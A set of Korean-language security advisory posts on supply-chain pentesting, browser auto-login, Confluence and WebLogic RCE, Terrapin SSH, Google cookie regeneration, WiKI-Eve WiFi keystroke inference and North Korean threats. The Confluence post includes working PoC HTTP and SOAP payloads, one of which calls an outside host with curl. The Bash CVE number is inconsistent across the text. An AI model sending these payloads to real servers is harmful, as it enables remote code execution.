1.  개요

- 최근 수년간 소프트웨어 공급망을 통한 다양한 침해사고 발생

- 인프라를 운영하며 관련 법률에서 제정한 다양한 규정 준수 및 보안 인증 등을 위해 다양한 솔루션이 사용

- 솔루션 증가는 공격자 입장에서 더 많은 선택권이 주어지는 것이므로, 현재 사용되는 솔루션의 위험성을 인식할 필요

- 금보원은 공격자의 관점에서 모의해킹을 진행공급망 공격을 분석한 ‘레드아이리스 인사이트 리포트 : Campaign ThirdEye’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

 

2. 주요 내용

2.1 3rd Party 솔루션 유형 분류

구분 설명
형태별 분류 - 단일 소프트웨어 형태
- 하드웨어와 소프트웨어가 포함된 어플라이언스 장비 형태
기능별 분류 - 업무용 솔루션: 그룹웨어 / 웹 메일 / 메신저 / 문서 편집 / 업무포탈 등
- 보안 솔루션: 통합인증 / 망분리 및 망연계 / 계정관리 / 서버접근통제 등

 

2.2 3rd Party 취약점 분석

구분 설명
파일 업로드 취약점 - 파일업로드 기능을 이용해 악의적인 웹쉘 파일을 업로드하는 취약점
> 웹쉘 업로드 성공시 구동하는 웹 서비스 권한으로 쉘 획득 및 후속 공격이 가능
> 게시판 모듈의 취약점을 악용한 사례가 가장 많이 발견(개발사 폐업, 지원 종료, 업데이트 미적용 등)

- 세부 사례
① 업로드 확장자 검증 미흡
> 대부분 최신 버전 에디터는 기본적으로 JSP 등 악의적인 파일 업로드를 방지하기 위해 확장자 제한
> 일부 구버전 게시판 에디터의 경우 별도 검증 없이 파일 첨부 기능을 제공

② 관리자 페이지를 통한 파일 업로드
> 관리용 기능에서는 별도의 보안 검증을 수행하지 않는 경우가 많음
> 실질적으로 관리자 페이지 및 URL이 노출되지 않더라도 추측 및 무작위 대입을 통해 URL 식별 가능
> 원활한 관리를 위해 원격 접근을 허용하는 경우 또한 존재

 

2.3 써드아이(ThirdEye) 캠페인

- 3rd Party 솔루션 모의해킹 시나리오를 심층 분석해 가상의 해킹작전 (오퍼레이션)으로 재구성

> 이와 연관된 모든 활동을 써드아이(ThirdEye) 캠페인으로 명명

> 공격자 관점으로 시나리오별 세부적인 TTPs를 공유효율적으로 선제적 대응을 할 수 있도록 지원하는 것이 목표

[사진 1] 써드아이(ThirdEye) 캠페인

 

- 오퍼레이션별 TTPs 프로파일링

구분 설명
초기 침투 - 초기 침투시 공통적으로 파일 업로드 활용
- 각각 테스트 페이지, 에디터, 파일 전송 모듈을 찾아 악용
지속성 유지 - 재접속을 위해 웹쉘, SSH 많이 이용
- 비밀번호 변경 없이 SSH 키를 등록하거나, 관리자 계정을 생성하는 방법을 주로 사용
인증정보 - WAS 설정 파일을 복호화하여 DB 접속 정보, 관리자 계정 정보 등 탈취
접근 네트워크 확장 - 정상 프로토콜을 악용해 터널링 생성
- 주로 HTTP와 SSH 터널링을 활용
- 터널링을 맺게 되면 연결된 포트를 통해 패킷이 경유지를 거쳐 방화벽을 우회하여 직접 접근하지 못하던 네트워크에 접근이 가능 (=네트워크 피보팅)
측면 이동 - 더 많은 서버와 PC의 권한을 획득하는 것이 목적
- 정상 인증정보 확보 또는 솔루션 취약점 악용

 

2.3 대응방안

구분 설명
파일 업로드 취약점
원인 제거 및 관리
- 여러 곳에 구현된 업로드 기능을 우선적 파악
- 일반적인 기능 외에도 다양한 업로드 기능이 존재할수 있음
- 예시: 업로드 허용 확장자, 타입, 용량 제한 / 업로드 경로 실행권한 제거 / 업로드 경로 분리 등
서버 내 인증정보 관리 - 비밀번호 하드코딩 금지
- 필요시 암호화 적용 및 엄격한 파일 권한 설정
비밀번호 설정 및
점검 강화
- 유추하기 쉬운 키워드가 포함되지 않도록 설정
- 비밀번호 설정 정책, 가이드, 교육 외에도 실제 점검을 수반
솔루션 점검 및
계정 모니터
- 솔루션은 다수의 PC 및 서버와 연동되어 있으며, 높은 권한을 지님
- 솔루션 자체에 대해서도 계정, 포트, 정책 등 다양한 점검이 필요

 

[사진 2] 핵심 조치 필요 사항

3. 결론

- 솔루션 도입을 통해 효율적으로 관리를 시도하나, 관리 인원이 추가되지 않고 관리 요소만 증가하는 경향

- 공격자들은 이미 수년전부터 공급자인 제조사를 해킹해 소스코드 탈취해 취약점 확보 후 공격에 악용

- 패치 되지 않았거나, 계정 관리가 되지 않거나, 중앙 집중 관리 솔루션 등에 대해 접근통제 및 모니터링 필요

 

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11420
[2] https://www.boannews.com/media/view.asp?idx=127420&page=1&kind=1

1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

 

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

영향받는 브라우저 구글 크롬(Google Chrome)
MS 엣지(Microsoft Edge)
모질라 파이어폭스(Mozilla FireFox)

 

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

 

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

구분 대응 방안
구글 크롬(Google Chrome) ① 오른쪽 상단 프로필 비밀번호를 선택
② 설정 메뉴에서 자동 로그인 사용을 중지
MS 엣지(Microsoft Edge) ① 오른쪽 상단 더보기에서 설정 선택
② 프로필 선택
③ 암호 선택
④ 자동으로 로그인 및 암호 필드에 암호 나타내기 단추 옵션을 모두 ‘사용 안함’으로 변경
모질라 파이어폭스(Mozilla FireFox) ① 오른쪽 상단 더보기 클릭
② 설정 선택
③ 개인정보 및 보안 메뉴
④ 저장된 로그인을 선택
⑤ 목록에 있는 정보를 모두 제거

 

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

 

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

 

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

 

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

 

3. 대응방안

- 최신 버전 업데이트 적용

취약점 대상 소프트웨어 조치 방안
CVE-2023-22527 Confluence Data Center 8.5.4. 이상 업데이트
Confluence Server 8.6.0 이상 업데이트
8.7.1 이상 업데이트
CVE-2017-3506 WebLogic 2017.10 Oracle Critical 패치
업데이트
CVE-2014-6271 GNU Bash Red Hat Enterprise Linux 
4,5,6,7 업데이트
Ubuntu 10.04, 12.04, 14.04 
업데이트
* GNU 기반 운영체제별 최신 
업데이트 권고

 

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. 개요 [1]

- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원
> 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정
> 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장
- 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견
> 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음
OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향

 

[사진 1] Tererapin Attack

2. 주요내용

Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행

> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계
> 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]

 

[사진 2] 공격 개요

 

[사진 3] Terrapin Attack 취약 서버

 

- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생

핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리
보안 채널 시작시 시퀀스 번호를 재설정하지 않음

> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음

※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등

 

[사진 4] 취약점 근본 원인

 

- 공격이 성공하기 위한 조건 존재

> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용
> ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약

 

※ 참고

영향 알고리즘
취약하지 않음 GCM, CBC-EaM, CTR-EaM
취약하나 악용불가 CTR-EtM
취약하나 확율적 악용가능 CBC-EtM

 

- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호

> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)

 

[사진 5] 지원 암호 알고리즘

 

- 해당 공격은 CVE-2023-48795로 명명 [3]
> CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함

 

3. 대응방안

> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증
> 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정
> 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4]
> 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우)
> 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요
> 취약점 스캐너 활용 [5]

 

4. 참고

[1] https://terrapin-attack.com/
[2] https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-48795
[4] https://learn.microsoft.com/ko-kr/windows/win32/seccrypto/finish-messages-in-the-tls-1-0-protocol
[5] https://github.com/RUB-NDS/Terrapin-Scanner/releases/tag/v1.1.3
[6] https://cybersecuritynews.com/new-terrapin-attacking-ssh-protocol/
[7] https://www.dailysecu.com/news/articleView.html?idxno=152520
[8] https://www.digitaltoday.co.kr/news/articleView.html?idxno=498909

1. 개요

- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1]
- 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능
- Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중

 

2. 주요내용 [2]

[영상 1] 시연 영상

 

- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개

세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능

> 해당 툴은 2가지 기능을 지님

① 비밀번호 변경 유무와 상관없이 세션 유지
② 새로운 유효한 쿠키 생성

 

[사진 1] 텔레그램 사진

 

- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존

> 다양한 구글 서비스에서 계정을 동기화하도록 설계
> 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음

 

[사진 2] 리버스 엔지니어링 결과

 

- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출

> 추출을 위해 WebData의 token_service table 참조

> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음

 

[사진 3]  WebData의 token_service table

 

추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성

 

[사진 4] 인증 쿠키 재생성

 

- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능
> 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능

 

3. 대응방안

- 임시 수정 단계

① 모든 브라우저에서 로그아웃하여 세션 토큰 무효화

② 비밀번호 재설정

③ 재로그인하여 새 토큰 생성

※ 참고사이트 임시 수정 단계 참고 [2]

 

- g[.]co/mydevices을 통해 모든 활성 세션 종료

 

- 향상된 세이프 브라우징 사용 [3]

 

4. 참조

[1] https://www.youtube.com/watch?v=NzAtZzzFoOs
[2] https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking
[3] https://support.google.com/accounts/answer/11577602?hl=ko
[4] https://securityaffairs.com/156723/hacking/exploit-regenerates-google-cookies.html
[5] https://www.bleepingcomputer.com/news/security/google-malware-abusing-api-is-standard-token-theft-not-an-api-issue/#google_vignette
[6] https://www.dailysecu.com/news/articleView.html?idxno=152620
[7] https://www.dailysecu.com/news/articleView.html?idxno=152653
[8] https://www.boannews.com/media/view.asp?idx=125357&page=9&kind=1

1. 개요

- 중국과 싱가포르 대학 연구진이 WiFi5(802.11ac)에 도입된 기능인 BFI를 활용해 스마트폰의 텍스트 전송을 가로채 비밀번호를 탈취하는 WiKI-Eve 공격이 발견
- 스마트폰과 와이파이 라우터 간 트래픽을 중간에서 가로채 어떤 숫자 키가 눌렸는지 확인하는 실시간 공격으로, 90% 정확도를 지님
- 공격이 성공하기 위해서는 공격자와 피해자가 동일한 네트워크에 있어야 하며, 피해자의 MAC 주소 또한 알고있어야함

- 공격자들이 AP를 해킹할 필요도 없이 중요한 정보를 정확하게 유추할 수 있음

 

2. 주요내용

2.1 BFI (Beamforming Feedback Information)

- 빔포밍(Beamforming)이란 기지국(또는 AP)에서 무선 신호를 특정 방향으로 무선 신호를 집중시키는 기술

> 즉, 전파를 특정 위치로 집중해 빔을 만들어 효율을 높이는 기술

> 신호를 집중시킴으로써 송출 전력을 증폭하지 않으면서 수신기에 전달되는 신호를 잘 잡을 수 있음

> 2013년 WiFi5(802.11ac)와 함께 처음 소개된 기술로, WiFi5에 도입됨

 

- BFI는 사용자 단말 등이 자신들의 위치에 대한 정보를 라우터로 전송하게 함으로써 라우터가 신호를 보다 정확하게 전송할 수 있도록 만들어줌

> 그러나, 데이터가 평문으로 전송되기 때문에 취약점이 발생

 

2.2 방법론

[사진 1] 공격 단계

① 공격 대상 식별

- 공격자는 시각적인 모니터링과 트래픽 모니터링을 동시에 수행해 MAC 주소 식별

> 다양한 MAC 주소에서 발생하는 네트워크 트래픽을 사용자의 행동과 연관시켜 MAC 주소 식별

 

② 공격 타이밍 식별

- 공격 대상이 식별되면 비밀번호 입력 등의 행위를 기다림

> 관련 IP 주소(공격 대상과 통신하는 IP) 등을 DB화한 뒤 해당 IP와 통신이 발생할 때까지 대기

 

③ BFI  신호 탈취

- 사용자 단말에서 발생한 BFI 신호를 Wireshark와 같은 트래픽 모니터링 도구를 이용해 캡처

> 사용자가 스마트폰의 키를 누를 때마다 화면 뒤의 WiFi 안테나에 영향을 주어 뚜렷한 WiFi신호가 생성

 

④ 키스트로크 추론

- 수집된 BFI 신호를 분할하여 사용자의 키스트로크 추론

- 수집된 BFI 신호가 키 입력 간의 경계를 모호하게 만들 수 있어 사용 가능한 데이터를 분석하고 복원하는 알고리즘 적용

> 사용자마다 뚜렷한 타이핑 습관의 차이를 보이기 때문에 규칙 기반 분할이 아닌 데이터 기반 분할을 적용

> 분할은 CFAR(Constant False Alarm Rate) 알고리즘을 사용하여 수집된 BFI 신호의 피크를 식별하는 것부터 시작

* Constant False Alarm Rate (CFAR): 테스트하고자 하는 위치의 값과 주변 값의 관계를 보고 테스트 값이 대상인지 아닌지를 구분하는 알고리즘

 

> 결과를 방해하는 요소(타이핑 스타일, 속도, 인접한 키 입력 등)를 걸러내기 위해 "1-D Convolutional Neural Network" 기계 학습을 사용

* 합성곱 신경망(Convolutional Neural Network): n × m 크기의 겹쳐지는 부분의 각 이미지와 커널의 원소의 값을 곱해서 모두 더한 값을 출력

 

> 도메인 적응(특징 추출기, 키스트로크 분류기, 도메인 판별기로 구성) 개념을 통해 타이핑 스타일에 상관없이 키스트로크를 일관되게 인식하도록 훈련

* 도메인 적응(Domain Adaptation): 학습 데이터와 실제 데이터의 차이를 극복하고 모델의 성능 향상을 위해 데이터와 관련있는 추가적인 데이터를 학습

 

> 도메인별 특징을 억제하기 위해 GRL(Gradient Reversion Layer)를 적용해 일관된 키 입력 표현을 학습할 수 있도록 함

* Gradient Reversion Layer(GRL): 도메인 간의 분포 차이를 줄이고 도메인 적응을 수행하는 데 도움을 줌

 

⑤ 비밀번호 복구

- 20명의 참가자는 서로 다른 휴대폰으로 동일한 AP에 연결해 비밀번호를 입력

> 키 입력 분류 ​​정확도는 희소 복구 알고리즘과 도메인 적응을 사용할 때 88.9%로 안정적으로 유지

> 6자리 숫자 비밀번호의 경우 100회 미만의 시도에서 85%의 성공률을, 모든 테스트에서 75% 이상의 성공률을 보임

> 공격자와 AP 사이의 거리가 결과에 큰 영향을 끼치며, 거리를 1m에서 10m로 늘릴 경우 성공률은 23%로 감소

 

- 해당 연구는 숫자로만 구성된 비밀번호에만 작동

> NordPass의 연구에 따르면 상위 비밀번호 20개 중 16개(80%)는 숫자만 사용

 

2.3 완화 방안

- 데이터 암호화: BFI가 데이터를 평문으로 전송하여 발생하는 문제이기 때문에 암호화 적용

- 키보드 무작위화: 키보드 배열(레이아웃)을 무작위화 하여 어떤 키가 입력되었는지 알 수 없음

- 난독화: 트래픽 캡처 등을 방지하기 위해 난독화 적용

- 스크램블: 송신 측에서 기공유된 초기값과 데이터를 XOR하여 전송한 후 수신측에서 이를 복호화해 원래의 데이터를 복호화하는 방식으로 CSI 스크램블링, WiFi 채널 스크램블을 적용

 

3. 추가 대응 방안

- WiFi 암호 활성화 및 공용 WiFi 사용 지양

- 스마트폰, WiFi 등 업데이트를 적용해 최신상태 유지

 

4. 참고

[1] https://arxiv.org/pdf/2309.03492.pdf
[2] https://www.bleepingcomputer.com/news/security/new-wiki-eve-attack-can-steal-numerical-passwords-over-wifi/
[3] https://vosveteit.zoznam.sk/hacker-nepotrebuje-absolutne-nic-novy-utok-wiki-eve-moze-kradnut-ciselne-hesla-cez-wifi/
[4] https://techxplore.com/news/2023-09-exploit-passwords-keystrokes.html
[5] https://www.ludicweb.fr/wiki-eve-lattaque-wifi-qui-lit-vos-frappes-de-mot-de-passe-a-lecran
[6] https://cybersecuritynews.com/wiki-eve-wi-fi-passwords/
[7] https://digvel.com/blog/744/
[8] https://www.boannews.com/media/view.asp?idx=121878&page=5&kind=4
[9] https://isarc.tachyonlab.com/5563
[10] https://ko.wikipedia.org/wiki/%EB%B9%94%ED%8F%AC%EB%B0%8D
[11] https://www.kukinews.com/newsView/kuk202010200380
[12] https://wikidocs.net/64066
[13] https://cilabs.kaist.ac.kr/research/research-area/domain-adaptation
[14] https://zdnet.co.kr/view/?no=20201112124104
[15] https://nordpass.com/most-common-passwords-list/
[16] http://word.tta.or.kr/dictionary/dictionaryView.do?subject=%EC%8A%A4%ED%81%AC%EB%9E%A8%EB%B8%94%EB%A7%81%2F%EB%94%94%EC%8A%A4%ED%81%AC%EB%9E%A8%EB%B8%94%EB%A7%81

1. 개요

- 23.07.19 국정원은 국가사이버안보협력센터에서 사이버 안보 현안 관련 사이버위협 실태 및 대응방안 간담회 개최

- 공공기관 정보보안 실태 평가 결과북한의 사이버 공격 현황 및 전망 등 내용을 발표

 

2. 주요내용

2.1 2023 공공기관 정보보안 실태 평가 결과

- 2007년부터 중앙행정기관ㆍ광역지자체ㆍ공공기관 등을 대상으로 연 1회 '정보보안 관리실태 평가'를 수행

> 심화되는 사이버 위협으로부터 국가ㆍ공공기관을 보호하기 위한 예방 활동의 일환

> 23.01~04까지 공기업 36개, 준정부 기관 57개, 중소형 기관 37개 등 130개 기관을 대상으로 진행

 

- 공공기관 보안 수준은 100점 만점 중 평균 75.47점으로 전년대비 개선 (전년대비 3.6점 상승)

> 전담조직ㆍ인력ㆍ예산확보 등의 수준이 상승한 것이 주요 요인

> 130개 기관 중 25개 기관은 수준 미달로 조사

 

- 22.10 카카오마비 사태 등을 계기로 사이버 위기 발생 시 대응 방안 마련 여부 등을 집중 점검

> 위기 상황에 대비한 매뉴얼 정비, 위기 대응 훈련 실시 부분 달성률이 85%를 넘는 등 양호한 것으로 확인

> 업무 연속성 확보를 위한 복구 우선순위 수립 및 백업 복구훈련 실시 여부 집중 점검에서는 일부 미비점이 발견되었으나 달성률 84% 기록

 

- 기술적 보안 분야에서 절반에 가까운 공공기관에서 서버ㆍ네트워크ㆍ보안장비 등 정보시스템에 대한 접근통제가 미흡

> 용역업체 직원에 대한 접근 권한 차등 부여를 이행하지 않는 등 용역업체 보안관리 또한 전년대비 미흡

> 윈도7ㆍ윈도 서버 2008 등 EoS OS 사용, 시스템 보안패치 미 적용, 보안 설정 미흡 등 문제점

 

- 평가점수가 저조한 분야에 대해 교육과 현장 컨설팅 등을 강화해 보안 수준을 높이도록 유도할 계획

 

2.2 현황: 국내 사이버 공격 위협 급증

- 2022년 국내 일 평균 공공기관 해킹 시도는 약 137만 건

- 2023년 상반기 일 평균 공공기관 해킹 시도는 약 137만 건으로 15%증가

> 사이버 공격의 위협 수준을 수치로 변환한 위협 지수를 내부적으로 측정하며, 45점까지 관심 단계로 지정

> 과거에는 30점도 넘지 않았으나, 2023년 상반기의 경우 위협 수준이 30점 이상인 경우가 전체의 90%에 달함

 

- 공격 주체는 북한(70%), 중국(4%), 러시아(2%), 기타(24%)

> 북한의 해킹 수법이 정교해지고, 대상도 확대된 것으로 파악됨

> 과거에는 주요 공공기관 및 외교ㆍ안보 전문가를 대상으로 함

> 최근에는 불특정 국민을 대상으로 한 해킹 피해가 증가

 

- 중국발 해킹 또한 증가하는 추세

> 중국 업체가 제조해 국내 기관에 판매한 계측장비에 악성코드가 설치된 채 납품된 최초의 사례

> 관계기관과 합동으로 유사 장비에 대한 전수조사를 진행

> 한·미 정보당국은 중국산 정보통신기술(ICT) 제품들의 보안 취약점과 그 요인 등을 검증하기 위한 합동 분석에 돌입

 

- 북한은 최근 사이버 해킹을 통해 국민의 신용카드 정보 1000여 건을 탈취한 사실이 발견

> 국내 유명 포털 사이트의 내용이 실시간으로 동기화 되는 복제 피싱사이트를 구축

> 피싱 사이트를 통해 아이디와 비밀번호 등 계정정보 탈취

> 탈취한 계정정보를 이용해 포털에 접근 후 포털과 연동된 클라우드에 저장된 신용카드 정보를 탈취

※ 신용카드 정보: 카드번호, 유효기간, CVC 번호

> 국정원은 유관기관과 협조해 해당 카드들의 거래를 정지시킨 상태

※ 클라우드에 카드 정보 등 중요 정보를 저장하고 있다는 점을 악용

 

- 북한발 소프트웨어 공급망 해킹 시도가 지난해 하반기 대비 2배 이상 증가

> 지난해 말부터 국내 1000만 대 이상의 PC에 설치된 보안인증 SW를 해킹하여 대규모 PC 장악 시도

> 250여 개 기관에 납품된 보안제품을 해킹해 중요 국가기관의 내부망 침투 시도

 

- 신분을 위장한 북한 해커국내 에너지 기업의 해외 지사로 취업 시도 발각

> 여권과 졸업증명서를 위조하였으며, 해당 회사와 고용계약서까지 작성해 채용 직전 단계에서 적발

> 온라인 구인구직 사이트 링크드인에 소개글 업로드

> 국제 사회 제재 강화에 대응한 ICBM 발사 비용 충당 등을 위한 외화벌이 수단으로 파악됨

 

2.3 전망: 북한의 대남 사이버공격이 더욱 심화될 것

- 김영철 전 북한 노동당 대남비서가 최근 통일전선부 고문 직책으로 정치국 후보위원에 복귀

> 09.07.07 DDoS 공격, 11년 농협 전산망 파괴 등을 주도한 인물로 북한 사이버 공작의 핵심 역할

 

- 국민을 대상으로 한 금전 이득·개인 정보 절취 목적의 해킹 범죄도 늘어날 것

> 국제 및 국가 배후 해킹 조직의 국가 기반 시설 및 전산망 대상 사이버 공격

> 의료·교통 등 국민 안전을 볼모로 한 랜섬웨어 공격도 지속해서 발생할 것

> 대화형 AI 플랫폼을 통해 해킹 접근성이 쉬워짐

> 다크웹에서의 해킹 도구 거래도 보편화

 

- 24.04 총선 및 미국 대선 등을 앞두고 북한이 의식이나 행동변화를 유도하는 사이버 공작을 본격화할 가능성

 

3. 대응방안

- 국정원

> 우방국ㆍ민간 분야와 협력해 사이버 위협에 공세적으로 대응 (북한 가상자산 탈취 저지·차단 등)

> 우방국ㆍ글로벌 IT기업들과 정보공유 확대 및 우방국 합동 보안권고문 발표 확대

> 유관 기관과 AI 보안 관제 확대 보급 및 선거 보안 강화 등 대응 체계를 강화

> '제로 트러스트 보안 정책'을 2025년까지 부처별 시범 적용 후 2026년 이후 범정부 대상으로 확대 적용

> 양자 기술을 활용한 국가 암호 기술 확보를 추진

> '한미 사이버 안보 협력 프레임 워크'의 후속 조치를 위해 양국 간 협력 과제를 마련할 계획

 

- 일반 국민의 경우 기본 보안 수칙 준수

> 현재 사용중인 OS, S/W, 안티바이러스 등 최신 업데이트 적용

> 출처가 불분명한 파일 또는 링크 클릭 금지

> 서비스 별 고유한 계정정보 사용

> 주기적 비밀번호 교체 및 추측하기 어렵도록 설정 등

 

- 기업의 경우 전사에 걸친 보안 점검 수행

> 임직원 보안 교육

> 서비스 영향을 고려하여 서비스 및 포트 등 점검 후 불필요할 경우 제거

> 현재 사용중인 OS, S/W, 안티바이러스 등 최신 업데이트 적용

> 침해사고에 대비한 업무 연속성 확보 계획, 백업 및 복구 계획 등 주기적 점검 등

 

4. 참고

[1] https://www.boannews.com/media/view.asp?idx=120324&page=1&kind=1 

1. 개요

- 최근 크리덴셜 스터핑으로 인한 개인정보 노출 사례가 증가

> 22.12 페이팔 크리덴셜 스터핑 사고 이후 국내 한국장학재단, 워크넷 등에서 관련 사고가 발생

